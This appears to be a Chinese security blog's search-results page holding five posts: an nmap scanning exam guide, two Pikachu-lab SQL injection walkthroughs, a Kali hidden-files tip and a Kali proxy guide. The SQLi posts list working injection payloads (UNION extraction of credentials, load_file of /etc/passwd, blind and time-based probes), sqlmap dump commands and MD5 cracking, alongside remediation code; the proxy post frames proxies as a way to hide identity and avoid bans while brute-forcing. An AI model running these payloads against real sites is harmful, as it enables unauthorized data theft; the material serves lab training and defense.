找到
14
篇与
综合渗透
相关的结果
-
某大学内网渗透期中考试题目 完成内网渗透课程期中考核的步骤如下: 1. 选择并安装扫描工具 推荐使用 Nmap(免费、跨平台)或 Nessus(需注册获取试用版)。 Nmap安装: Windows:从官网下载安装包 nmap.org Linux/macOS:终端输入 sudo apt install nmap(Debian/Ubuntu)或 brew install nmap(macOS) 2. 扫描指定网段 命令示例(Nmap全面扫描): nmap -T4 -A -p 1-65535 192.168.1.0/24参数说明: -T4:加快扫描速度 -A:启用操作系统和服务版本检测 -p 1-65535:扫描所有端口 3. 查看本机MAC地址 Windows: ipconfig /all在“物理地址”中查找当前网卡的MAC地址。 Linux: ifconfig 或 ip addr macOS: 前往 系统偏好设置 → 网络 → 高级 → 硬件 4. 截图要求 扫描结果截图:需包含存活主机的IP、端口、服务信息(如Nmap的输出)。 MAC地址截图:与扫描结果在同一截图或分开展示(确保清晰可读)。 5. 结果分析示例 存活主机数量:共发现 X 台存活主机(如192.168.1.1、192.168.1.100)。 开放端口与服务: 192.168.1.1:80:HTTP服务(可能为路由器管理页面) 192.168.1.100:22:SSH服务(可能存在远程登录风险) 潜在风险:开放的高风险端口(如445/SMB、3389/RDP)需重点关注。 6. 提交文档格式 PDF命名:学号-姓名-期中考核.pdf 内容结构: 封面:姓名、学号、任务类型 操作步骤:工具安装命令、扫描命令及参数说明 截图:扫描结果 + MAC地址 结果分析:存活主机、端口服务、安全建议 注意事项 合法合规:仅扫描授权网段,禁止攻击或窃取信息。 独立完成:文档需原创,截图需包含个人设备信息(如MAC地址)。 通过以上步骤,即可系统性地完成考核任务。若遇到工具安装或扫描问题,可检查防火墙设置或尝试更换工具(如使用Zenmap图形界面)。
-
全面攻防实战:Pikachu平台字符型SQL注入(GET)与自动化利用 全面攻防实战:Pikachu平台字符型SQL注入(GET)与自动化利用 SQL注入作为Web应用安全的头号威胁,其危害性和普遍性不容忽视。本文将以Pikachu漏洞练习平台(web.guixinan.cn)为实验环境,深入剖析字符型SQL注入(GET)的漏洞原理、手工注入技巧、Sqlmap自动化利用,并提供完整的防御方案。通过理论与实践相结合的方式,帮助安全研究人员和开发人员全面理解此类漏洞的本质。 一、漏洞环境与原理深度解析 1. 漏洞环境概述 Pikachu平台的"字符型注入(get)"模块模拟了一个典型的用户信息查询功能: 请求方式:GET 参数名称:name 功能描述:根据用户名查询用户ID和邮箱 请求示例:http://web.guixinan.cn/pikachu/vul/sqli/sqli_str.php?name=test&submit=查询 2. 漏洞源代码分析 $name = $_GET['name']; // 这里的变量是字符型,需要考虑闭合 $query = "select id,email from member where username='$name'"; $result = execute($link, $query);关键漏洞点分析: 未过滤的用户输入:直接使用$_GET['name']而不做任何验证或转义 字符串拼接方式:采用最危险的SQL语句拼接方式 错误信息暴露:平台配置为显示详细错误信息(实际生产环境应避免) 3. 漏洞利用原理 当攻击者输入admin'-- 时,实际执行的SQL变为: select id,email from member where username='admin'-- '注释符--使后续条件失效,实现未授权查询 二、手工注入实战全流程 1. 注入点检测与确认 基础检测: ?name=test' # 检查是否报错 ?name=test' AND 1=1--+ # 正常返回 ?name=test' AND 1=2--+ # 无结果返回响应分析技巧: 注意页面元素变化(如结果表格行数) 查看HTTP响应码(200/500) 观察执行时间差异(用于盲注判断) 2. 完整注入流程演示 步骤1:确定字段数 ?name=test' ORDER BY 2--+ # 成功 ?name=test' ORDER BY 3--+ # 失败 → 确认2个字段(id,email)步骤2:联合查询定位回显位 ?name=test' UNION SELECT 1,2--+观察页面何处显示数字1和2 步骤3:数据库信息收集 ?name=test' UNION SELECT version(),database()--+返回示例: MySQL 5.7.28 | pikachu步骤4:表结构枚举 ?name=test' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+返回结果: httpinfo,member,message,users,xssblind步骤5:敏感数据提取 ?name=test' UNION SELECT username,concat(pw,'|',email) FROM member--+返回格式: admin | 21232f297a57a5a743894a0e4a801fc3|admin@pikachu.com3. 高级注入技巧 十六进制编码绕过: ?name=test' UNION SELECT 1,load_file(0x2f6574632f706173737764)--+(相当于读取/etc/passwd) 布尔盲注技术: ?name=test' AND SUBSTRING((SELECT password FROM member LIMIT 1),1,1)='a'--+时间盲注示例: ?name=test' AND IF(ASCII(SUBSTRING(database(),1,1))>100,sleep(3),0)--+三、Sqlmap自动化注入实战 1. 基础检测命令 sqlmap -u "http://web.guixinan.cn/pikachu/vul/sqli/sqli_str.php?name=test&submit=查询" -p name -dbs --batchsqlid17.png图片 2. 获取当前数据库 sqlmap -u "URL" --current-db --batchsqlid18.png图片 3. 表结构枚举 sqlmap -u "URL" -D pikachu --tables --batchsqlid19.png图片 4. 数据提取技巧 sqlmap -u "URL" -D pikachu -T member --dump --batch5. 高级参数应用 指定注入技术: sqlmap -u "URL" --technique=B自定义Tamper脚本: sqlmap -u "URL" --tamper=space2comment从Burp日志导入: sqlmap -l burp.log --batch6. Sqlmap结果解读 典型输出示例: [12:34:56] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.38, PHP 7.3.4 back-end DBMS: MySQL >= 5.7四、漏洞修复方案 1. 参数化查询实现 PDO最佳实践: $stmt = $pdo->prepare("SELECT id,email FROM member WHERE username=?"); $stmt->execute([$_GET['name']]);MySQLi预处理: $stmt = $mysqli->prepare("SELECT id,email FROM member WHERE username=?"); $stmt->bind_param("s", $_GET['name']); $stmt->execute();2. 输入验证策略 白名单验证: $allowed = ['admin','test','guest']; if(!in_array($_GET['name'], $allowed)) { die("Invalid username"); }正则表达式过滤: if(!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $_GET['name'])) { die("Invalid username format"); }3. 安全配置加固 数据库权限控制: CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'ComplexP@ssw0rd!'; GRANT SELECT ON pikachu.member TO 'webapp'@'localhost';PHP安全配置: display_errors = Off log_errors = On mysql.trace_mode = Off4. 防御纵深体系 应用层:参数化查询+输入验证 网络层:WAF规则(如ModSecurity) 系统层:定期漏洞扫描 监控层:SQL异常行为监测 五、修复前后代码对比 漏洞代码(修复前) $name = $_GET['name']; $query = "select id,email from member where username='$name'"; $result = execute($link, $query);安全代码(修复后) // 初始化PDO连接 $pdo = new PDO('mysql:host=localhost;dbname=pikachu;charset=utf8', 'limited_user', 'ComplexP@ssw0rd!'); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 输入验证 if(!preg_match('/^[\w]{3,20}$/', $_GET['name'])) { http_response_code(400); exit('Invalid username'); } // 参数化查询 $stmt = $pdo->prepare("SELECT id,email FROM member WHERE username=?"); $stmt->execute([$_GET['name']]); $result = $stmt->fetchAll(PDO::FETCH_ASSOC);六、总结与扩展思考 通过本文的深入分析,我们可以得出以下关键结论: 字符型注入的核心在于突破字符串引号的限制 手工注入的价值在于深入理解漏洞原理 Sqlmap的强大在于自动化探测和利用 防御的本质是将数据与代码分离 进阶思考方向: 如何在不使用预处理语句的情况下安全拼接SQL? 宽字节注入等特殊场景下的防御策略 ORM框架中的SQL注入风险(如ActiveRecord的误用) NoSQL注入与传统SQL注入的异同防御 安全是一个持续的过程,希望本文能帮助您在Web应用安全领域建立更系统的认知。记住:理解攻击是为了更好的防御,所有安全研究都应在合法授权环境下进行。
-
2025年Kali Linux最新版:如何快速显示隐藏文件(免装Nautilus,Thunar终极指南) 标题:2025年Kali Linux最新版:如何快速显示隐藏文件(免装Nautilus,Thunar终极指南) 副标题:无需额外工具,3秒解锁隐藏文件!安全研究人员必备技能 引言 在Kali Linux 2025中,隐藏文件(如.local、.bashrc)默认不可见,但渗透测试和数据分析常需访问这些关键目录。本文将教你直接用默认的Thunar文件管理器快速显示隐藏文件,无需安装Nautilus或其他工具,保持系统纯净高效! kali.jpg图片 一、为什么Kali 2025默认隐藏文件? 安全防护:防止误删系统配置文件(如.profile、.ssh)。 界面简洁:减少用户干扰,聚焦核心文件。 行业惯例:Linux/Unix系统普遍以.开头标记隐藏文件。 二、3种方法显示隐藏文件(Thunar版) 方法1:快捷键秒开(最快!) 打开Thunar文件管理器(桌面或菜单中的“Files”)。 按下 Ctrl + H → 立即显示所有隐藏文件! 再次按 Ctrl + H 可重新隐藏。 适用场景:快速查看.local/share/sqlmap等渗透工具输出。 方法2:菜单操作(可视化指引) 点击Thunar顶部菜单栏 View(查看) → Show Hidden Files(显示隐藏文件)。 若菜单栏隐藏,按 F10 唤出。 方法3:终端命令(强制刷新) thunar ~/ & # 启动Thunar并自动显示家目录 配合Ctrl + H使用,适合习惯命令行的用户。 三、为什么推荐Thunar而非Nautilus? | 对比项 | Thunar(Kali默认) | Nautilus(GNOME) | |------------------|-----------------------------|-------------------------------| | 资源占用 | 极低,适合渗透测试环境 | 较高,可能拖慢老旧设备 | | 功能完整性 | 支持快捷键、批量重命名 | 依赖GNOME生态,功能冗余 | | 兼容性 | 完美适配XFCE/Kali | 需额外安装,可能冲突 | 四、实战案例:查看SQLMap扫描结果 按 Ctrl + H 显示隐藏文件。 进入路径: /home/kali/.local/share/sqlmap/output/ 右键文件 → 用文本编辑器/VS Code打开,分析漏洞日志。 五、常见问题解答 ❓ Q1:按Ctrl + H无效? 确认Thunar为默认文件管理器(终端运行xdg-mime query default inode/directory)。 尝试重启Thunar:killall thunar && thunar & ❓ Q2:如何永久显示隐藏文件? 编辑Thunar配置: echo "ShowHidden=true" >> ~/.config/Thunar/thunarrc 结语 掌握Thunar的隐藏文件管理,能让你在Kali 2025中更高效地处理安全任务。无需安装额外工具,一个快捷键即可解锁完整文件系统!
-
Pikachu靶场实战:SQL数字型注入(POST)漏洞分析与通关指南 Pikachu靶场实战:SQL数字型注入(POST)漏洞分析与通关指南 SQL注入漏洞作为OWASP Top 10长期位居首位的安全威胁,其危害性不言而喻。本文将以Pikachu漏洞练习平台为实验环境,深入剖析数字型注入(POST)漏洞的原理、利用方式及防御措施,并提供详细的通关教程,帮助安全研究人员和开发人员理解这类漏洞的本质。 实验环境与工具准备 在开始实战之前,我们需要搭建好实验环境并准备必要的工具: Pikachu漏洞练习平台:一个专为Web安全学习设计的靶场环境,集成了多种常见漏洞场景 Firefox/Chrome浏览器:用于访问和交互测试目标页面 Burp Suite社区版/专业版:强大的Web代理工具,用于拦截和修改HTTP请求 Postman(可选):API测试工具,可作为Burp Suite的替代方案 Kali Linux(可选):内置多种安全测试工具,如hash-identifier用于识别哈希类型 实验环境搭建完成后,访问Pikachu平台的SQL注入模块,选择"数字型注入(post)"开始我们的测试。 SQL数字型注入原理深度解析 数字型注入是SQL注入的一种常见形式,与字符型注入的主要区别在于参数类型和闭合方式。数字型注入发生在应用程序将用户输入直接拼接到SQL查询中且未对输入进行适当过滤或参数化处理时。 漏洞形成机制 在Pikachu平台的数字型注入场景中,后台处理逻辑可能类似以下PHP代码: $id = $_POST['id']; // 直接获取用户输入,未做任何过滤 $query = "SELECT username, email FROM users WHERE id = $id"; // 直接拼接SQL语句 $result = mysqli_query($conn, $query);当攻击者提交id=1 or 1=1时,实际执行的SQL语句变为: SELECT username, email FROM users WHERE id = 1 or 1=1由于1=1恒为真,此查询将返回users表中的所有记录,而不仅仅是ID为1的用户。 数字型与字符型注入的区别 参数类型:数字型注入处理的是整数或浮点数参数,不需要引号闭合;字符型注入则需要考虑单引号或双引号的闭合问题 注入方式:数字型注入可直接拼接逻辑运算符(如or 1=1);字符型注入需要先闭合字符串引号 探测方式:数字型注入可通过算术运算(如1-1)测试;字符型注入则通过引号触发语法错误 数字型注入实战通关教程 下面我们分步骤演示如何利用Burp Suite完成Pikachu平台数字型注入的完整渗透测试过程。 步骤1:注入点探测与确认 访问Pikachu平台的数字型注入(post)页面,观察界面为一个下拉选择框(1-6)和查询按钮 开启Burp Suite代理,配置浏览器通过Burp发送请求 在页面选择任意数字(如1)点击查询,Burp会拦截到POST请求: sqlid1.png图片 POST /vul/sqli/sqli_id.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded id=1&submit=%E6%9F%A5%E8%AF%A2 将请求发送到Repeater模块以便后续测试 修改id=1为id=1-1,若返回"您输入的user id不存在",则确认存在数字型注入漏洞 sqlid2.png图片 或者修改id=1为id=1\,则会返回页面报错信息,那么就可以确定存在sql注入漏洞 sqlid3.png图片 步骤2:确定查询字段数 使用ORDER BY子句确定查询返回的列数: 发送id=1 order by 2,若正常返回数据,则确认查询只涉及2个字段 sqlid4.png图片 sqlid5.png图片 发送id=1 order by 3,若返回错误"Unknown column '3' in 'order clause'",说明字段列数少于3 sqlid6.png图片 步骤3:联合查询获取数据库信息 利用UNION SELECT确定回显位置并提取敏感信息: 首先使原查询不返回结果:id=-1 union select 1,2,确认哪些位置会回显(通常两个位置都会显示) sqlid7.png图片 获取数据库版本和当前数据库名: id=-1 union select version(),database()# sqlid8.png图片 返回结果可能类似: hello,5.7.26 your email is: pikachu表明MySQL版本为5.7.26,当前数据库为"pikachu" 获取数据库中的所有表名: id=-1 union select 1,table_name from information_schema.tables where table_schema=database()# sqlid9.png图片 会依次返回pikachu数据库中的所有表:httpinfo, member, message, users, xssblind等 步骤4:提取表结构与数据 获取users表的所有列名: id=-1 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users'# sqlid10.png图片 通常会返回username, password, id等字段 提取users表中的用户名和密码哈希: id=-1 union select username,password from users#返回结果示例: sqlid11.png图片 hello,admin your email is: e10adc3949ba59abbe56e057f20f883e hello,pikachu your email is: 670b14728ad9902aecba32e22fa4f6bd步骤5:破解哈希获取明文密码 使用Kali的hash-identifier工具识别哈希类型(示例中均为MD5) 通过在线MD5解密网站(如cmd5.com)破解哈希: admin:e10adc3949ba59abbe56e057f20f883e → 123456 pikachu:670b14728ad9902aecba32e22fa4f6bd → 000000 test:e99a18c428cb38d5f260853678922e03 → abc123 自动化工具辅助测试(可选) 除了手动注入,我们还可以使用sqlmap自动化完成注入过程: 捕获请求并保存为txt文件(如request.txt): POST /vul/sqli/sqli_id.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded id=1&submit=%E6%9F%A5%E8%AF%A2 使用sqlmap执行测试: sqlmap -r request.txt -p id --batch sqlid12.png图片 获取数据库信息: sqlmap -r request.txt -p id --dbs --batch sqlmap -r request.txt -p id -D pikachu --tables sqlmap -r request.txt -p id -D pikachu -T users --dumpsqlmap -r request.txt -p id --dbs --batchsqlid13.png图片 sqlmap -r request.txt -p id --current-db --batch sqlid14.png图片 sqlmap -r request.txt -p id -D pikachu --tables --batchsqlid15.png图片 sqlmap -r request.txt -p id -D pikachu -T users --dump --batchsqlid16.png图片 漏洞修复建议 针对数字型注入漏洞,开发人员应采取以下防护措施: 参数化查询(预处理语句): $stmt = $conn->prepare("SELECT username, email FROM users WHERE id = ?"); $stmt->bind_param("i", $id); // "i"表示参数为整数类型 $stmt->execute(); 输入验证: 确保数字型参数确实为数字(如is_numeric()) 对于有限范围的ID,检查是否在允许范围内 最小权限原则: 数据库连接使用最低必要权限的账户 限制Web应用账户对information_schema的访问 Web应用防火墙(WAF): 部署WAF拦截常见注入攻击模式 但不应作为唯一防护措施 总结与思考 通过本次Pikachu靶场实战,我们系统性地掌握了数字型注入漏洞的以下关键点: 漏洞本质:未经处理的用户输入直接拼接至SQL查询 利用流程:注入点确认→信息收集→数据提取→权限提升(本场景未涉及) 防御体系:参数化查询为主,输入验证、最小权限、WAF为辅的多层防护 SQL注入虽然是一种"古老"的漏洞类型,但在现代Web应用中仍然广泛存在。作为开发人员,应当从根本上采用安全编码实践;作为安全人员,则需要掌握各种注入技术以进行有效防护。Pikachu靶场提供了一个安全的实验环境,建议读者在合法授权的前提下多加练习,深入理解SQL注入的各类变种及其防御方法。 法律与道德提示:本文所有技术内容仅限用于合法授权的安全测试与学习研究。未经授权的渗透测试可能违反法律,请务必遵守当地法律法规和职业道德准则。
-
Kali Linux 2025 设置全局代理 IP 模式:完整指南 Kali Linux 2025 设置全局代理 IP 模式:完整指南 📌 为什么要设置全局代理? 在 Kali Linux 中设置全局代理 IP 模式,主要出于以下原因: 匿名性与隐私保护 隐藏真实 IP 地址,防止被追踪(如渗透测试、安全研究)。 绕过某些网络监控或审查机制。 访问受限资源 某些网站或服务可能限制特定地区的访问(如漏洞数据库、安全工具)。 在渗透测试时,模拟不同地区的 IP 进行测试。 安全研究需求 避免目标服务器直接记录你的真实 IP(如扫描、漏洞探测)。 防止 IP 被封锁(如暴力破解、爬虫探测)。 绕过企业/ISP 限制 某些企业网络或 ISP 可能会限制访问特定端口或网站(如 Tor、Metasploit)。 kali.jpg图片 🔧 Kali Linux 2025 设置全局代理的 5 种方法 方法 1:通过环境变量设置(临时/终端代理) 适用于终端命令(curl、wget、apt),但不影响 GUI 应用。 # 设置 HTTP/HTTPS 代理 export http_proxy="http://代理IP:端口" export https_proxy="http://代理IP:端口" # 设置 SOCKS5 代理(如 Shadowsocks) export socks_proxy="socks5://代理IP:端口" # 测试代理是否生效 curl cip.cc取消代理: unset http_proxy https_proxy socks_proxy方法 2:使用 proxychains(强制所有流量走代理) 适用于任何终端命令(如 nmap、metasploit)。 安装 & 配置 sudo apt update && sudo apt install proxychains sudo nano /etc/proxychains4.conf 修改配置(示例 SOCKS5 代理) [ProxyList] socks5 127.0.0.1 1080 # 本地 Shadowsocks/V2Ray 代理 测试 proxychains curl ip.sb proxychains nmap -sT target.com 方法 3:系统全局代理(GUI 方式) 适用于桌面环境(如 Firefox、Chrome)。 进入设置 Settings > Network > Network Proxy 选择代理类型 Manual(手动):填写 HTTP/HTTPS/SOCKS 代理 Automatic(PAC 代理):适用于企业网络 应用全局 部分应用(如终端)可能需要额外配置。 方法 4:redsocks + iptables(强制所有流量) 适用于强制所有流量(包括非代理感知应用)。 安装 redsocks sudo apt install redsocks 配置 /etc/redsocks.conf redsocks { local_ip = 127.0.0.1; local_port = 12345; ip = 代理IP; port = 代理端口; type = socks5; # 或 http-connect } 设置 iptables 规则 sudo iptables -t nat -A OUTPUT -p tcp -j REDIRECT --to-port 12345 启动服务 sudo systemctl restart redsocks 方法 5:privoxy(转换 SOCKS5 为 HTTP 代理) 适用于 apt 等仅支持 HTTP 代理的工具。 安装 privoxy sudo apt install privoxy 修改 /etc/privoxy/config forward-socks5 / 127.0.0.1:1080 . # 本地 SOCKS5 代理 设置环境变量 export http_proxy="http://127.0.0.1:8118" # privoxy 默认端口 export https_proxy="http://127.0.0.1:8118" 测试 curl cip.cc ✅ 如何验证代理是否生效? # 方法 1:检查 IP curl cip.cc curl ip.sb # 方法 2:测试代理链 proxychains curl ifconfig.me # 方法 3:检查 DNS 泄漏 proxychains dig +short myip.opendns.com @resolver1.opendns.com🚨 注意事项 代理稳定性:免费代理可能不可靠,建议自建 Shadowsocks/V2Ray。 DNS 泄漏:某些代理可能泄露 DNS,建议使用 dnscrypt-proxy 或 proxychains。 防火墙规则:iptables 配置错误可能导致网络中断,谨慎操作。 📌 结论 Kali Linux 2025 设置全局代理的方式多样,适用于不同场景: 临时代理 → 环境变量 终端全局代理 → proxychains GUI 全局代理 → 系统网络设置 强制全局代理 → redsocks + iptables HTTP 代理转换 → privoxy 选择合适的方式,确保安全性和匿名性! 🚀 希望这篇指南对你有帮助!欢迎在评论区讨论更多代理技巧。 😊